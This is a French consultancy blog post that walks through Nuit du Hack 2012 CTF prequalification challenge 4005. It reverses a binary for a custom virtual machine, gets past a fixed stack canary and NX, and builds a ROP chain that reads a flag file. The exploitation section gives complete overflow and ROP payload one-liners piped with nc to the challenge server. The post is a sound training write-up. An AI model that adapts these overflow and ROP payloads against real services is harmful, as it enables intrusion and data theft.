HSC
Cabinet de consultants en sécurité informatique depuis 1989 - Spécialisé sur Unix, Windows, TCP/IP et Internet
Mode texte : accès au contenu de la page
Hervé Schauer Consultants
Vous êtes ici : Accueil > Ressources > Brèves > Préqualification Nuit du Hack 2012 - Write-up 4005
Accéder au : Site HSC des formations
Recherche :  
English version
   Services   
o Domaines de compétences
o Conseil & Expertise
o Prestations ISO 27001
o Audit & Évaluation
o Tests d'intrusion
o Tests de vulnérabilités (TSAR)
o Analyse Forensique
o Certification ARJEL
o Formations
o E-learning
   Conférences   
o Agenda
o Interventions passées
o Tutoriels
   Ressources   
o Index thématique
o Brèves
o Présentations
o Cours
o Articles
o Outils (téléchargement)
o Veille en vulnérabilité
   Société   
o Hervé Schauer
o Equipe
o Offres d'emploi
o Références
o Historique
o Partenariats
o Associations
   Presse et
 communication
 
 
o Newsletter HSC
o Revue de presse
o Communiqués de presse
o Publications
   Contacts   
o Coordonnées
o Requêtes particulières
o Accès à nos locaux
o Hôtels proches de nos locaux
|>|Préqualification Nuit du Hack 2012 - Write-up 4005  

par Yves Le Provost (26/03/2012)



========================================================================
Pré-Qualification Nuit du hack 2012
========================================================================

Cette année, quelques consultants HSC se sont rassemblés pour participer aux
préqualifications pour l'épreuve de CTF - Capture The Flag - de la nuit du
hack. Le but n'était pas spécialement d'être qualifié mais plutôt d'utiliser
les techniques qui ne servent pas souvent lors de prestations de sécurité. 

Les épreuves étaient particulièrement bien construites et le mode de
fonctionnement différent des CTF habituels. Les épreuves étaient débloquées au
fur et à mesure de la résolution des premières épreuves si bien que la non
résolution de l'une d'entre elles était souvent bloquante. Ce choix
d'organisation avait l'avantage d'empêcher de se disperser sur plusieurs
d'épreuves en même temps.

Certaines épreuves étaient basées sur l'utilisation d'un programme lancé par
une machine virtuelle écrite spécialement. Une des premières épreuves
permettait de récupérer le code source de la machine virtuelle et les épreuves
suivantes donnaient un binaire exécutable par cette machine. 

========================================================================

Une des épreuves était accompagnée du message suivant : 

------------------------------------------------------------------------
From: Piotr <piotr@megacortek.com>
To: 
Subject: Another weird link
Attachments : web3.ndh

Thank you again for these informations! we have just credited your account
with $1700. Our spy thinks that Sciteek staff is aware about the mole
inside their building. He is trying to read a private file named
"sciteek-private.txt" located at sciteek.nuitduhack.com:4005. Please find
the .ndh attached, if you are sucessfull, reply with a message entitled
"complex remote service".

Of course, your efforts will be rewarded with $2500. Maybe you will find
pieces of informations about the mole.

Piotr
------------------------------------------------------------------------

Une fois lancé, le binaire semble demander une information mais n'affiche aucun 
message. Les vérifications rapides du style "j'envoie pleins de A" ne semblent
pas non plus fonctionner. Le reverse s'impose donc. Une rapide lecture permet 
de se rendre compte que l'utilisation "normale" consiste à effectuer un GET.

$ ./vmndh -file web3.ndh
GET /AAA
HTTP/1.0 200 OK
Content-Type : text/HTML
Content-Length : 70

<html><center><b>Exploit Me if you can ;)</b></html></center>%   

Analyse 
========================================================================

Le debugger intégré à la VM permet de se rendre compte de plusieurs choses :
[Console]#> run
0x8000 > jmpl 0x494
0x8497 > call 0x52
0x84ed > subl r8, #0x200
0x84f2 > call 0xffc7
0x84bd > pushl #0xbeef
0x84c1 > subl r8, #0x200
0x84c6 > movl r0, #0x0
0x84cb > mov r1, r8
0x84cf > movl r2, #0x3fc
0x84d4 > call 0xfd00
0x81d8 > mov r3, r2
0x81dc > mov r2, r1
0x81e0 > mov r1, r0
0x81e4 > movb r0, #3
0x81e8 > syscall (r0 = 0x0003 - read)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[SYSCALL output]: 34
0x81e9 > ret
0x84d8 > mov r0, r1
0x84dc > addl r8, #0x200
0x84e1 > pop r1
0x84e3 > cmpl r1, #0xbeef
0x84e8 > jz 0x01
0x84ec > ret

1) Il réserve une taille de pile de 0x200, soit 512 octets :
0x84c1 > subl r8, #0x200
Puis il lit sur l'entrée standard une taille allant jusqu'à 0x3fc, soit 1020
octets :
0x84cf > movl r2, #0x3fc
Un overflow de 508 octets est donc possible. 

2) Il pousse sur la pile un "Canary" dont la valeur sera vérifiée pour éviter 
les overflows : 
[Console]#> run
0x8000 > jmpl 0x494
0x8497 > call 0x52
0x84ed > subl r8, #0x200
0x84f2 > call 0xffc7
0x84bd > pushl #0xbeef     // canary "0xbeef" poussé sur la pile
[...]
0x81e9 > ret
0x84d8 > mov r0, r1
0x84dc > addl r8, #0x200
0x84e1 > pop r1
0x84e3 > cmpl r1, #0xbeef  // il compare la valeur du canary en fin de fonction
0x84e8 > jz 0x01				// il continue si la valeur est correcte
0x84ec > ret					// il sort de la fonction en cas d'écrasement


Exploitation
========================================================================

Le canary est fixe à chaque exécution, il n'est donc pas difficile de le
positionner sur la pile pour atteindre ensuite le registre d'instruction et le
modifier à notre guise. Le binaire ne semble pas contenir le nom du fichier
contenant le flag. Un simple saut dans le code n'est donc pas possible. Un
shellcode est donc nécessaire.

Celui-ci est écrit pour effectuer 4 syscall successifs :
open() : du fichier (le nom du fichier donné dans le mail est poussé sur la pile)
lseek()
read()
write() : sur la sortie standard

Une première exécution du shellcode non finalisé laisse apparaître un problème :
$ perl -e 'print
"\x02"x(40)."\x04\x02\x01\xf8\x7d\x0e\x02\x02\xf4\x7b\x04\x01\x03\x1f\x19\x04\xa4\x05"
."\x0e\x02\x01\xf8\x7d\x0e\x01\x03\x1f\x19\x04\xb6\x05"
."\x04\x01\x02\x01\x04\x02\x03\x01\x07\x19\x04\xad\x05"
."A"x(512 - 84)."\xef\xbe"."\xf4\x7b"
."\x41\x41\x41\x41\x41\x41\x2e\x42\x42\x42"' | nc sci.nuitduhack.com 4005
[!] Segfault 0x7bf4 (NX bit)

NX est actif, l'exécution doit donc passer par du Return Oriented Programming (ROP)

Return Oriented Programming
========================================================================

La lecture de l'assembleur du binaire laisse apparaître les différentes zones 
contenant les syscalls qui nous intéressent :
0x818f: movb r1, #0x01
0x8193: movb r0, #0x04
0x8197: syscall			// syscall write
0x8198: pop r1
0x819a: pop r0
0x819c: ret
0x819d: push r0
0x81a1: pop r3
0x81a3: xor r3, r3
0x81a7: cmp r3, r2
0x81ab: jz 0x000d
0x81ae: ja 0x000a
0x81b1: mov [r0], r1
0x81b5: inc r3
0x81b7: inc r0
0x81b9: jmps 0xec
0x81bb: pop r3
0x81bd: pop r0
0x81bf: ret
0x81c0: mov r1, r0
0x81c4: movb r0, #0x05
0x81c8: syscall
0x81c9: ret
0x81ca: mov r2, r1
0x81ce: mov r1, r0
0x81d2: movb r0, #0x02
0x81d6: syscall		// syscall open
0x81d7: ret
0x81d8: mov r3, r2
0x81dc: mov r2, r1
0x81e0: mov r1, r0
0x81e4: movb r0, #0x03  
0x81e8: syscall			// syscall read
0x81e9: ret
0x81ea: push r3
0x81ee: .byte 0x00
0x81ef: pop r2
0x81f1: mov r2, r1
0x81f5: mov r1, r0
0x81f9: movb r0, #0x11
0x81fd: syscall			// syscall lseek
0x81fe: pop r3
0x8200: ret

Pour construire le shellcode ROP il nous faut encore quelques "gadgets" pour
positionner nos valeurs dans les registres. Les suivants sont intéressants :
0x822b: pop r2
0x822d: pop r1
0x822f: ret

0x808e: pop r0
0x8090: ret

0x82b1: pop r3
0x82b3: ret

Il ne reste qu'à enchaîner les différents appels :
### open
\x2b\x82  // pop r2 pop r1 ret
\x02\x01  // on place la valeur du flags pour open()
\x2e\x7e  // pointeur sur le nom de fichier (mis sur la pile)
\xd2\x81  // saut dans le syscall open
\xc4\x82  //pop r2 ret 
### lseek
\x00\x00  // on se positionne à l'offset 0 du fichier
\xb1\x82  // pop r3 ret
\x00\x00  // flag à SEEK_SET 
\xf5\x81  // saut dans le syscall lseek
### read
\x8e\x80  // pop r0 ret
\x03\x00  // le lseek nous a fait perdre notre descripteur de fichier
\x2b\x82  // pop r2 pop r1 ret
\x01\x02  // taille de lecture
\xf4\x7b  // adresse du buffer en lecture, on le met en début de la pile
\xd8\x81  // saut dans le syscall read
### write 
\x2b\x82  // pop r2 pop r1 ret
\xf4\x7b  // adresse du buffer à écrire (celui lu avant)
AA	  // junk code pour le pop r1
\xb1\x82  // pop r3 ret
\x11\x11  // taille d'écriture
\x8f\x81  // saut dans le syscall write

Le shellcode est prêt, l'exécution donne le résultat suivant : 
$ python -c "print 'A'*512 +'\xef\xbe' + '\x2b\x82' + '\x02\x01' + '\x2e\x7e' +
'\xd2\x81' + '\xc4\x82\x00\x00\xb1\x82\x00\x00\xf5\x81' + 'AB'+
'\x8e\x80\x03\x00\x2b\x82\x01\x02\xf4\x7b\xd8\x81'+
'\x2b\x82\xf4\x7b'+'AA'+'\xb1\x82\x02\x02\x8f\x81' + 'A'*12
+'\x73\x63\x69\x74\x65\x65\x6b\x2d\x70\x72\x69\x76\x61\x74\x65\x2e\x74\x78\x74\x00'"
| nc sci.nuitduhack.com 4005 
Dear Patrick,

We found many evidences proving there is a mole inside our company who is
selling confidential materials to our main competitor, Megacortek. We have very
good reasons to believe that Walter Smith have sent some emails to a contact at
Megacortek, containing confidential information.

However, these emails seems to have been encrypted and sometimes contain images
or audio files which are apparently not related with our company or our
business , but one of them contains an archive with an explic¾

------------------------------------------------------------------------

Le message est plus gros qu'attendu, une deuxième exécution en décalant de 0x200
la lecture permet d'obtenir la fin du message :

cit name.

We cannot stand this situation anymore, and we should take actions to make Mr
Smith leave the company: we can fire this guy or why not call the FBI to handle
this case as it should be.

Sincerely,

David Markham.


Il suffit de recoller les deux pour scorer :-)

========================================================================
 Yves Le Provost
 Christophe Alladoum
 Jérémy Rubert 
========================================================================




Dernière modification le 26 mars 2012 à 11:46:14 CET - webmaster@hsc.fr
Informations sur ce serveur - © 1989-2010 Hervé Schauer Consultants